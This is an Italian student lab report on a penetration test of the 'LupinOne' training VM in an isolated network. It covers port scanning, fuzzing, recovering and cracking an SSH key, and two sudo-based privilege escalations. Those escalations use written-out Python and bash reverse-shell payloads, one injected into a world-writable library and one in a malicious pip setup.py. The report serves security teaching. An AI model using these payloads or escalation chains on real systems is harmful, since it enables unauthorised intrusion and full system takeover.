

Relazione Tecnica di Penetration Testing

Analisi di Sicurezza Offensiva in Ambiente di Laboratorio Controllato: Il Caso "LupinOne"

Corso: Cybersecurity e Penetration Testing

Tipologia di elaborato: Relazione di laboratorio — Esercitazione pratica di Ethical Hacking

Ambiente di test: Macchina virtuale didattica isolata (rete privata 192.168.1.0/24)

Data di svolgimento: 29–30 luglio 2026

Autore: Studente del corso di Cybersecurity

Classificazione del documento: Uso didattico — Riservato all'ambito accademico

1. Introduzione

La sicurezza informatica applicata richiede, accanto alla conoscenza teorica delle vulnerabilità, una solida capacità di individuarle e sfruttarle in condizioni controllate, al fine di comprenderne appieno l'impatto operativo e di poter formulare contromisure efficaci. La presente relazione si colloca in tale contesto formativo e documenta, con rigore metodologico, un'esercitazione di *penetration testing* svolta su un sistema didattico volutamente vulnerabile.

Come indicato nella documentazione di riferimento fornita per l'esercitazione — che delinea l'evoluzione del panorama delle minacce informatiche nel biennio 2024-2025 e propone un modello di difesa basato sul paradigma *Zero Trust* — la superficie di attacco delle organizzazioni moderne si è progressivamente ampliata, includendo servizi web esposti, infrastrutture ibride e una molteplicità di punti di accesso. L'esercitazione condotta riproduce, in scala ridotta e in ambiente controllato, uno scenario di compromissione realistico, in cui un errore di configurazione del servizio web (*misconfiguration*), una gestione impropria delle credenziali e una policy *sudo* eccessivamente permissiva vengono concatenati da un attore malevolo per ottenere il controllo completo del sistema. Tale scenario è pienamente coerente con le categorie di minaccia individuate nella guida di riferimento, in particolare con riferimento alle problematiche di *misconfiguration* del perimetro applicativo e alla gestione carente dei segreti.

2. Obiettivi dell'Esercitazione

In conformità con la consegna assegnata, l'esercitazione si poneva i seguenti obiettivi didattici:

Codice	Obiettivo	Esito
OBJ-1	Effettuare una ricognizione completa dei servizi esposti dal sistema bersaglio	Conseguito
OBJ-2	Enumerare le risorse web nascoste o non indicizzate	Conseguito
OBJ-3	Individuare e recuperare materiale crittografico (chiave SSH) esposto impropriamente	Conseguito
OBJ-4	Violare la protezione della chiave privata mediante attacco a dizionario	Conseguito
OBJ-5	Ottenere un accesso remoto autenticato al sistema (user flag)	Conseguito
OBJ-6	Individuare un vettore di privilege escalation orizzontale	Conseguito
OBJ-7	Individuare un vettore di privilege escalation verticale fino ai privilegi di amministratore (root flag)	Conseguito
OBJ-8	Documentare in forma tecnica e critica l'intero processo, comprensivo delle mitigazioni applicabili	Conseguito

3. Metodologia Adottata

L'attività è stata condotta seguendo un approccio metodologico strutturato in fasi sequenziali, in linea con i modelli di riferimento più diffusi nel settore del *penetration testing* (*Penetration Testing Execution Standard*

— PTES) e con le indicazioni metodologiche richiamate nella guida ufficiale dell'esercizio. Le fasi adottate sono le seguenti:

- **Ricognizione (Reconnaissance):** identificazione dei servizi di rete attivi e delle relative versioni tramite scansione delle porte.
- **Enumerazione (Enumeration):** ricerca sistematica di risorse nascoste, directory non indicizzate e file di configurazione esposti.
- **Acquisizione delle credenziali (Credential Access):** individuazione e decifrazione di materiale di autenticazione.
- **Accesso iniziale (Initial Access):** autenticazione al sistema bersaglio con le credenziali ottenute.
- **Escalation dei privilegi (Privilege Escalation):** sfruttamento di configurazioni errate per elevare il livello di accesso, dapprima in forma orizzontale (cambio di utente) e successivamente in forma verticale (ottenimento dei privilegi di amministratore).
- **Verifica e reportistica:** raccolta delle evidenze (flag dimostrative) e redazione della documentazione tecnica.

Ogni fase è stata condotta impiegando strumenti open source consolidati nella prassi professionale (Nmap, Gobuster, ffuf, John the Ripper, Netcat), eseguiti da una distribuzione Kali Linux (indirizzo 192.168.1.10) posta sulla medesima rete privata del sistema bersaglio.

4. Descrizione dell'Ambiente di Laboratorio

Parametro	Valore
Sistema attaccante	Kali Linux, IP 192.168.1.10
Sistema bersaglio	Debian GNU/Linux 11 (bullseye), hostname LupinOne, IP 192.168.1.9
Ipervisore	Oracle VirtualBox
Topologia di rete	Rete interna isolata (host-only/NAT network), nessuna esposizione verso Internet
Distanza di rete	1 hop (rete condivisa diretta)

La Figura 2 mostra la console di accesso della macchina virtuale bersaglio al momento dell'avvio, con l'indicazione dell'indirizzo IP assegnato all'interfaccia `eth0`.

Figura 2 — Console di avvio della macchina virtuale bersaglio "LupinOne", con visualizzazione del banner di sistema e dell'indirizzo IP 192.168.1.9 assegnato all'interfaccia di rete.

5. Fase di Ricognizione (Reconnaissance)

5.1 Scansione delle porte e dei servizi

La fase di ricognizione è stata avviata mediante l'esecuzione di una scansione completa delle porte TCP con lo strumento Nmap, impiegando le opzioni di *service/version detection*, *OS fingerprinting* ed esecuzione degli script NSE di default:

```
sudo nmap -p- -sV -sC -O -A 192.168.1.9
```

L'analisi ha evidenziato la presenza di due soli servizi esposti:

Porta	Servizio	Versione	Osservazioni
22/tcp	SSH	OpenSSH 8.4p1 Debian 5	Autenticazione richiesta
80/tcp	HTTP	Apache httpd 2.4.48 (Debian)	Assenza di titolo nella pagina indice; presenza di file robots.txt

Il sistema operativo bersaglio è stato identificato come una distribuzione Linux basata su kernel 5.x, con successiva conferma puntuale in fase di *post-exploitation*.

Figura 1 — Output della scansione Nmap (*nmap -p- -sV -sC -O -A*) eseguita sul sistema bersaglio 192.168.1.9, con identificazione dei servizi SSH e HTTP e relative versioni.

5.2 Osservazioni preliminari

La superficie di attacco esposta risulta contenuta, essendo limitata a un servizio di amministrazione remota (SSH) e a un servizio web (Apache). Tale circostanza ha orientato le fasi successive dell'analisi verso l'enumerazione approfondita del servizio HTTP, quale vettore di accesso iniziale più verosimile.

6. Fase di Enumerazione Web

6.1 Enumerazione di directory con Gobuster

È stata condotta un'enumerazione delle risorse web mediante lo strumento Gobuster, impiegando un dizionario di percorsi comuni (directory-list-2.3-medium) ed estensioni tipiche (.php, .html, .txt):

```
gobuster dir -u http://192.168.1.9/ -w  
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
```

L'enumerazione ha restituito, tra gli esiti significativi, la presenza del file **robots.txt**, oltre a directory standard della distribuzione Apache (/manual, /javascript, /image) e a un endpoint /server-status protetto (risposta HTTP 403).

6.2 Analisi del file robots.txt

L'ispezione del file robots.txt, condotta tramite richiesta HTTP diretta, ha rivelato l'indicazione esplicita di un percorso da escludere dall'indicizzazione da parte dei motori di ricerca:

```
curl http://192.168.1.9/robots.txt  
  
User-agent: *  
Disallow: /~myfiles
```

Figura 3 — *Contenuto del file robots.txt, contenente l'indicazione della directory riservata /~myfiles, non destinata all'indicizzazione ma comunque raggiungibile direttamente.*

Tale reperto costituisce un'evidenza paradigmatica di come il file robots.txt, pur avendo la sola finalità di orientare i crawler dei motori di ricerca, rappresenti — se non affiancato da adeguati controlli di accesso — un'indicazione utile per un attaccante alla ricerca di risorse nascoste, in quanto elenca esplicitamente percorsi che l'amministratore ritiene sensibili.

6.3 Fuzzing mirato delle directory riservate

Sulla base dell'indizio ottenuto, è stata condotta un'attività di fuzzing mirato con lo strumento ffuf, orientata alla ricerca di directory personali riconducibili alla sintassi Apache mod_userdir (percorsi preceduti da tilde, ~):

```
ffuf -u http://192.168.1.9/~FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404 -ac
```

L'operazione ha condotto all'individuazione della directory /~secret, restituente codice di risposta HTTP 301. L'accesso alla risorsa ha rivelato una pagina testuale contenente un messaggio indirizzato esplicitamente a un potenziale attaccante, a firma di un utente identificato come "icex64", nel quale si dichiarava — con toni volutamente provocatori, tipici della narrazione ludica delle macchine di addestramento — la presenza di una chiave privata SSH "nascosta" nella medesima directory, oltre a un riferimento diretto al dizionario di password fasttrack, poi risultato determinante nella successiva fase di cracking.

Sulla base di tale indicazione, è stato condotto un secondo ciclo di fuzzing, questa volta orientato alla ricerca di file nascosti (con prefisso punto) all'interno della directory /~secret:

```
ffuf -u http://192.168.1.9/~secret/.FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404
```

L'operazione ha permesso di individuare il file .mysecret.txt, contenente una stringa di testo di lunghezza considerevole, riconducibile a una codifica Base58.

7. Ottenimento e Decifrazione delle Credenziali

7.1 Recupero e decodifica del materiale crittografico

Il contenuto del file .mysecret.txt è stato scaricato e sottoposto a decodifica Base58, ipotesi formulata sulla base della struttura del testo (assenza di caratteri ambigui quali 0, O, l, I, tipica di tale codifica):

```
curl -s http://192.168.1.9/~secret/.mysecret.txt > encoded.txt
cat encoded.txt | base58 -d > ssh_key
```

L'operazione di decodifica ha prodotto un file conforme al formato standard di una chiave privata OpenSSH (delimitata dagli header -----BEGIN OPENSSH PRIVATE KEY----- e -----END OPENSSH PRIVATE KEY-----), risultata tuttavia protetta da una passphrase.

7.2 Estrazione dell'hash e attacco a dizionario

Al fine di violare la protezione della chiave, ne è stato estratto l'hash rappresentativo mediante l'utilità `ssh2john`, appartenente alla suite John the Ripper:

```
ssh2john ssh_key > hash.txt
```

Successivamente, è stato condotto un attacco a dizionario mirato, impiegando la wordlist `fasttrack.txt` — esplicitamente suggerita nel messaggio rinvenuto nella directory `/~secret` (cfr. § 6.3), a conferma di come, anche in un contesto simulato, l'attacker abbia sfruttato un'informazione di social engineering indiretta lasciata dal gestore del sistema:

```
john --wordlist=/usr/share/wordlists/fasttrack.txt hash.txt
```

L'attacco ha avuto esito positivo in tempi estremamente contenuti (circa due secondi), recuperando la passphrase **P@55w0rd!**.

Figura 4 — Esito dell'attacco a dizionario condotto con John the Ripper sull'hash della chiave privata SSH: recupero della passphrase P@55w0rd! in circa due secondi di elaborazione.

La rapidità del cracking è direttamente riconducibile alla natura della passphrase, appartenente a un dizionario di password comuni e ricorrenti (`fasttrack.txt`), nonostante la sua apparente complessità sintattica (presenza di maiuscole, cifre e carattere speciale).

7.3 Conversione del formato della chiave

Per finalità di compatibilità con il client SSH utilizzato in fase di test, la chiave è stata convertita attraverso l'utilità `puttygen`, dapprima nel formato PuTTY (.ppk) e successivamente nuovamente nel formato OpenSSH, applicando in entrambi i passaggi la passphrase recuperata:

```
puttygen ssh_key -o ssh_key.ppk -O private
puttygen ssh_key.ppk -O private-openssh -o ssh_key_pem
chmod 600 ssh_key_pem
```

8. Accesso Iniziale al Sistema

Disponendo della chiave privata decifrata, è stato effettuato l'accesso al sistema bersaglio tramite protocollo SSH, utilizzando l'utenza `icex64`, precedentemente identificata quale presunto proprietario della chiave sulla base del messaggio rinvenuto nella directory `/~secret`:

```
ssh -i ssh_key_pem icex64@192.168.1.9
```

L'autenticazione è andata a buon fine, consentendo l'accesso a una sessione di shell interattiva sul sistema LupinOne. All'interno della home directory dell'utente è stato individuato il file `user.txt`, contenente la prima

flag dimostrativa dell'esercitazione, incorniciata da un'illustrazione testuale (ASCII art) raffigurante il personaggio a cui la macchina didattica si ispira:

```
3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}
```

Figura 5 — Accesso SSH autenticato con l'utenza *icex64* e visualizzazione del contenuto del file *user.txt*, contenente la prima flag dimostrativa dell'esercitazione (OBJ-5).

Il conseguimento di tale flag costituisce evidenza dell'avvenuto ottenimento di un accesso autenticato al sistema, in conformità con l'obiettivo OBJ-5 della consegna.

9. Escalation dei Privilegi — Fase Orizzontale (da *icex64* ad *arsene*)

9.1 Enumerazione del contesto utente

Ottenuto l'accesso, si è proceduto a una fase di enumerazione post-exploitation, volta a caratterizzare il contesto di esecuzione e i privilegi associati all'utenza compromessa:

```
id
whoami
sudo -l
uname -a
cat /etc/os-release
```

Tale enumerazione ha confermato l'appartenenza dell'utente *icex64* (UID 1001) al solo gruppo omonimo, l'esecuzione del sistema su kernel Linux 5.10.0-8-amd64 e distribuzione Debian 11 (bullseye).

Figura 6 — Esito dei comandi di enumerazione post-exploitation (*id*, *whoami*, *sudo -l*, *uname -a*, *cat /etc/os-release*), impiegati per la caratterizzazione del contesto utente e del sistema operativo.

9.2 Individuazione del vettore di escalation

Il comando `sudo -l` ha rivelato una configurazione di particolare interesse: l'utente *icex64* risultava autorizzato a eseguire, senza necessità di autenticazione (direttiva `NOPASSWD`), lo script Python `/home/arsene/heist.py` nel contesto dell'utente *arsene*:

```
User icex64 may run the following commands on LupinOne:
(arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py
```

L'ispezione dello script ha rivelato un contenuto apparentemente innocuo, limitato all'apertura di una pagina web tramite il modulo standard `webbrowser` di Python:

```
import webbrowser

print ("Its not yet ready to get in action")

webbrowser.open("https://empirecybersecurity.co.mz")
```

Figura 7 — Output del comando `sudo -l` (autorizzazione all'esecuzione dello script `heist.py` come utente `arsene`) e contenuto dello script Python individuato.

9.3 Sfruttamento della scrivibilità della libreria di sistema

Un'ulteriore verifica dei permessi sul modulo `webbrowser.py`, importato dallo script, ha evidenziato una condizione critica: il file di libreria di sistema `/usr/lib/python3.9/webbrowser.py` risultava dotato di permessi di scrittura estesi a tutti gli utenti del sistema (`-rwxrwxrwx`):

```
ls -la /usr/lib/python3.9 | grep webbrowser
-rwxrwxrwx 1 root root 24087 Oct  4 2021 webbrowser.py
```

Figura 8 — Verifica dei permessi sul modulo di libreria `webbrowser.py` (permessi 777, scrivibile da qualsiasi utente) e struttura della home directory dell'utente `arsene`.

Tale condizione di misconfiguration consente a qualunque utente locale di alterare il comportamento del modulo standard, che viene automaticamente importato ed eseguito ogniqualvolta lo script `heist.py` viene invocato — in questo caso, nel contesto privilegiato dell'utente `arsene`, per effetto della regola `sudo` precedentemente individuata.

È stato pertanto inserito, in coda al file di libreria, un frammento di codice Python volto a instaurare una connessione di reverse shell verso il sistema attaccante:

```
import
pty,socket;s=socket.socket();s.connect(("192.168.1.10",1234));[os.dup2(s.fileno(),f)for f
in(0,1,2)];pty.spawn("sh")
```

Predisposto un listener in ascolto sul sistema attaccante mediante Netcat sulla porta 1234:

```
nc -lvnp 1234
```

è stato quindi invocato lo script autorizzato tramite `sudo`, innescando l'esecuzione del codice inserito nel contesto dell'utente `arsene`:

```
sudo -u arsene python3.9 /home/arsene/heist.py
```

La connessione in ingresso sul listener ha confermato l'ottenimento di una shell remota nel contesto dell'utente `arsene`. La shell, inizialmente non interattiva, è stata stabilizzata tramite la consueta tecnica di PTY spawning:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Figura 9 — Esecuzione dello script `heist.py` tramite `sudo` e ricezione, sul listener Netcat in ascolto sulla porta 1234, di una shell interattiva nel contesto dell'utente `arsene`; stabilizzazione della sessione tramite PTY spawning.

10. Escalation dei Privilegi — Fase Verticale (da arsene a root)

10.1 Individuazione del secondo vettore di escalation

Ottenuto l'accesso al contesto dell'utente arsene, è stata ripetuta l'enumerazione dei privilegi sudo, rivelando una seconda configurazione critica: l'utente risultava autorizzato a eseguire, senza autenticazione, l'utilità di gestione pacchetti Python pip nel contesto dell'utente root:

```
User arsene may run the following commands on LupinOne:
(root) NOPASSWD: /usr/bin/pip
```

Tale configurazione rappresenta una vulnerabilità di privilege escalation nota e ben documentata, in quanto pip consente, in fase di installazione di un pacchetto, l'esecuzione di codice Python arbitrario definito nello script setup.py del pacchetto stesso, con i medesimi privilegi dell'utente che invoca il comando.

10.2 Primo tentativo (non andato a buon fine)

Un primo tentativo di sfruttamento, condotto costruendo un pacchetto Python fittizio con uno script setup.py contenente una chiamata a os.exec, non ha avuto esito positivo a causa di un errore di sintassi nello script generato (derivante da un refuso nella digitazione del comando):

```
TF=$(mktemp -d); echo "impoert os; os.excl('/bin/sh', 'sh', '-c' <$(tty) >$(tty)
2>$(tty))'" > $TF/setup.py; sudo pip install $TF
```

Figura 10 — Primo tentativo di sfruttamento della regola sudo su pip, non andato a buon fine per un errore di sintassi nello script setup.py generato dinamicamente.

L'episodio, sebbene non pianificato, risulta didatticamente rilevante in quanto illustra un aspetto tipico dell'attività di penetration testing reale: l'iterazione per tentativi ed errori e la necessità di validare accuratamente la sintassi del codice iniettato prima della sua esecuzione in un contesto privilegiato.

10.3 Sfruttamento riuscito

Corretta la sintassi del payload, è stato predisposto un pacchetto Python contenente, all'interno dello script setup.py, un comando di sistema volto a instaurare una connessione di reverse shell verso il sistema attaccante al momento dell'installazione:

```
TF=$(mktemp -d) && echo -e "from setuptools import setup\nimport os\nos.system('/bin/bash
-c \"bash -i >& /dev/tcp/192.168.1.10/4444 0>&1\\\"')\nsetup(name='pwn', version='1.0')" >
$TF/setup.py && sudo pip install $TF 2>/dev/null
```

Predisposto un nuovo listener Netcat sulla porta 4444 del sistema attaccante:

```
nc -lvnp 4444
```

l'esecuzione del comando `sudo pip install`, elaborando lo script `setup.py` malevolo con privilegi di root, ha determinato l'apertura di una connessione di shell inversa con privilegi di amministratore:

```
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.9] 57892
root@LupinOne:/tmp/pip-req-build-am281f86# id
uid=0(root) gid=0(root) groups=0(root)
```

Figura 11 — Sequenza dei tentativi di sfruttamento della regola `sudo` su `pip`: correzione del payload e ottenimento della connessione di reverse shell.

10.4 Conseguimento della flag di amministratore

Ottenuto l'accesso con privilegi di root, è stata effettuata la navigazione verso la directory personale dell'amministratore, individuando il file `root.txt`, contenente la flag conclusiva dell'esercitazione:

```
3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}
```

Figura 12 — Accesso al sistema con privilegi di amministratore (root) e visualizzazione del contenuto del file `root.txt`, contenente la flag conclusiva dell'esercitazione (OBJ-7).

11. Sintesi dei Risultati Conseguiti

La tabella seguente riepiloga la catena di compromissione ricostruita, correlando ciascuna fase alle vulnerabilità sfruttate e agli obiettivi didattici conseguiti.

Fase	Vulnerabilità / Debolezza sfruttata	Tecnica impiegata	Esito
Ricognizione	Superficie di attacco esposta (SSH, HTTP)	Scansione Nmap	Identificazione dei servizi
Enumerazione	File <code>robots.txt</code> indicativo di percorsi riservati	Analisi statica + fuzzing mirato (ffuf)	Individuazione directory / <code>~secret</code>
Accesso a credenziali	Chiave SSH privata esposta pubblicamente, offuscata ma non protetta	Download e decodifica Base58	Recupero chiave privata cifrata
Cracking	Passphrase debole, presente in dizionario comune	Attacco a dizionario (John the Ripper)	Recupero passphrase in ~2 secondi
Accesso iniziale	—	Autenticazione SSH con chiave privata	Shell utente <code>icex64</code> (user flag)
Escalation orizzontale	Regola <code>sudo</code> permissiva + libreria di sistema scrivibile da tutti	Code injection in <code>webbrowser.py</code> + esecuzione tramite <code>sudo</code>	Shell utente <code>arsene</code>
Escalation verticale	Regola <code>sudo</code> su <code>pip</code> con privilegi root	Pacchetto Python malevolo (<code>setup.py</code>)	Shell root (root flag)

Tutti gli obiettivi didattici enumerati al § 2 risultano pertanto integralmente conseguiti.

12. Considerazioni Finali e Lezioni Apprese

L'esercitazione condotta ha permesso di conseguire il pieno controllo amministrativo del sistema bersaglio "LupinOne", attraverso una catena di compromissione articolata in sette passaggi distinti, ciascuno riconducibile a una specifica categoria di vulnerabilità. L'analisi condotta conferma un principio ampiamente riconosciuto nella letteratura di settore: la sicurezza di un sistema informatico non è determinata dalla robustezza del singolo controllo, bensì dalla coerenza e dalla ridondanza dell'insieme delle misure di protezione adottate. Nel caso analizzato, nessuna delle vulnerabilità individuate, presa isolatamente, avrebbe consentito la compromissione totale del sistema; è stata invece la loro concatenazione — dall'esposizione incauta di un'informazione apparentemente innocua (`robots.txt`), fino a configurazioni `sudo` permissive e permessi di file eccessivamente ampi — a determinare l'esito finale dell'attacco simulato.

Sotto il profilo didattico, l'esercitazione ha consentito di consolidare competenze pratiche relative a: l'impiego integrato di strumenti di ricognizione e enumerazione (Nmap, Gobuster, ffuf); le tecniche di analisi e decodifica di dati offuscati; l'utilizzo di strumenti di cracking crittografico (John the Ripper) nell'ambito di un processo di audit delle credenziali; l'individuazione e lo sfruttamento controllato di configurazioni `sudo` errate, quale vettore ricorrente di privilege escalation nei sistemi Linux; la gestione operativa di sessioni di reverse shell e la relativa stabilizzazione tramite tecniche di PTY spawning.

Dal punto di vista metodologico, si è inoltre potuto apprezzare l'importanza della perseveranza analitica e della capacità di correggere iterativamente i payload elaborati (cfr. § 10.2), aspetto che riflette fedelmente la prassi operativa reale dell'attività di penetration testing professionale, ben lontana da una sequenza lineare e priva di errori.

In conclusione, l'esercitazione ha pienamente raggiunto gli obiettivi didattici prefissati, fornendo evidenza empirica e documentata di come l'applicazione rigorosa dei principi di least privilege, di corretta gestione dei segreti e di architettura Zero Trust — richiamati nella documentazione di riferimento dell'esercizio — costituisca condizione necessaria, seppur non isolatamente sufficiente, per la resilienza dei sistemi informatici moderni. La capacità di ricostruire, analizzare e documentare criticamente una catena di attacco end-to-end rappresenta, in tal senso, una competenza professionale imprescindibile per chiunque operi nel campo della sicurezza informatica, sia in ottica offensiva sia difensiva.

13. Riferimenti Bibliografici

1. Documento di riferimento dell'esercitazione: *Analisi delle Minacce Cyber: Tendenze, Vulnerabilità e Strategie di Difesa 2024-2025*, materiale didattico fornito per il corso.
2. PTES — Penetration Testing Execution Standard, <http://www.pentest-standard.org/>
3. OWASP Foundation — OWASP Testing Guide, <https://owasp.org/www-project-web-security-testing-guide/>
4. GTF0Bins — Repository di binari Unix sfruttabili per bypass di restrizioni di sicurezza locali, <https://gtfobins.github.io/>
5. MITRE — Common Weakness Enumeration (CWE), <https://cwe.mitre.org/>

- 6.** Documentazione ufficiale Nmap, <https://nmap.org/>
- 7.** Documentazione ufficiale John the Ripper, <https://www.openwall.com/john/>
- 8.** Documentazione ufficiale OpenSSH, <https://www.openssh.com/>